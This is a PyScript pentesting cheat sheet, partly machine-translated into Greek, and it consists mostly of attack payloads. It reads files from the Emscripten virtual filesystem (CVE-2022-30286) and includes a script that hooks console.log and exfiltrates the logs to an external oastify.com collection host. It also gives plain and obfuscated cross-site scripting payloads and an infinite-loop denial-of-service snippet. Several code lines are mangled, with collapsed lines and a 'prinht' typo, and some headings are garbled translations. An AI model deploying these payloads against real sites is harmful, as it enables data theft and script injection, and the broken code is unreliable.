Pyscript

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PyScript Pentesting Guide

Το PyScript είναι ένα νέο πλαίσιο που αναπτύχθηκε για την ενσωμάτωση της Python στο HTML, ώστε να μπορεί να χρησιμοποιηθεί παράλληλα με το HTML. Σε αυτό το cheat sheet, θα βρείτε πώς να χρησιμοποιήσετε το PyScript για τους σκοπούς της διείσδυσης σας.

Dumping / Retrieving files from the Emscripten virtual memory filesystem:

CVE ID: CVE-2022-30286

Code:

<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>

OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)

CVE ID: CVE-2022-30286

Κώδικας:

<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>

Διασταυρούμενη Σκηνική Σcripting (Κανονική)

Code:

<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>

Διασταυρούμενη Εξαπάτηση Ιστοσελίδων (Python Obfuscated)

Κώδικας:

<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>

Cross Site Scripting (JavaScript Obfuscation)

Κώδικας:

<py-script>
prinht("
<script>
var _0x3675bf = _0x5cf5
function _0x5cf5(_0xced4e9, _0x1ae724) {
var _0x599cad = _0x599c()
return (
(_0x5cf5 = function (_0x5cf5d2, _0x6f919d) {
_0x5cf5d2 = _0x5cf5d2 - 0x94
var _0x14caa7 = _0x599cad[_0x5cf5d2]
return _0x14caa7
}),
_0x5cf5(_0xced4e9, _0x1ae724)
)
}
;(function (_0x5ad362, _0x98a567) {
var _0x459bc5 = _0x5cf5,
_0x454121 = _0x5ad362()
while (!![]) {
try {
var _0x168170 =
(-parseInt(_0x459bc5(0x9e)) / 0x1) *
(parseInt(_0x459bc5(0x95)) / 0x2) +
(parseInt(_0x459bc5(0x97)) / 0x3) *
(-parseInt(_0x459bc5(0x9c)) / 0x4) +
-parseInt(_0x459bc5(0x99)) / 0x5 +
(-parseInt(_0x459bc5(0x9f)) / 0x6) *
(parseInt(_0x459bc5(0x9d)) / 0x7) +
(-parseInt(_0x459bc5(0x9b)) / 0x8) *
(-parseInt(_0x459bc5(0x9a)) / 0x9) +
-parseInt(_0x459bc5(0x94)) / 0xa +
(parseInt(_0x459bc5(0x98)) / 0xb) *
(parseInt(_0x459bc5(0x96)) / 0xc)
if (_0x168170 === _0x98a567) break
else _0x454121["push"](_0x454121["shift"]())
} catch (_0x5baa73) {
_0x454121["push"](_0x454121["shift"]())
}
}
})(_0x599c, 0x28895),
prompt(document[_0x3675bf(0xa0)])
function _0x599c() {
var _0x34a15f = [
"15170376Sgmhnu",
"589203pPKatg",
"11BaafMZ",
"445905MAsUXq",
"432bhVZQo",
"14792bfmdlY",
"4FKyEje",
"92890jvCozd",
"36031bizdfX",
"114QrRNWp",
"domain",
"3249220MUVofX",
"18cpppdr",
]
_0x599c = function () {
return _0x34a15f
}
return _0x599c()
}
</script>
")
</py-script>

Επίθεση DoS (Ατέρμον βρόχος)

Κώδικας:

<py-script>
while True:
print("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;")
</py-script>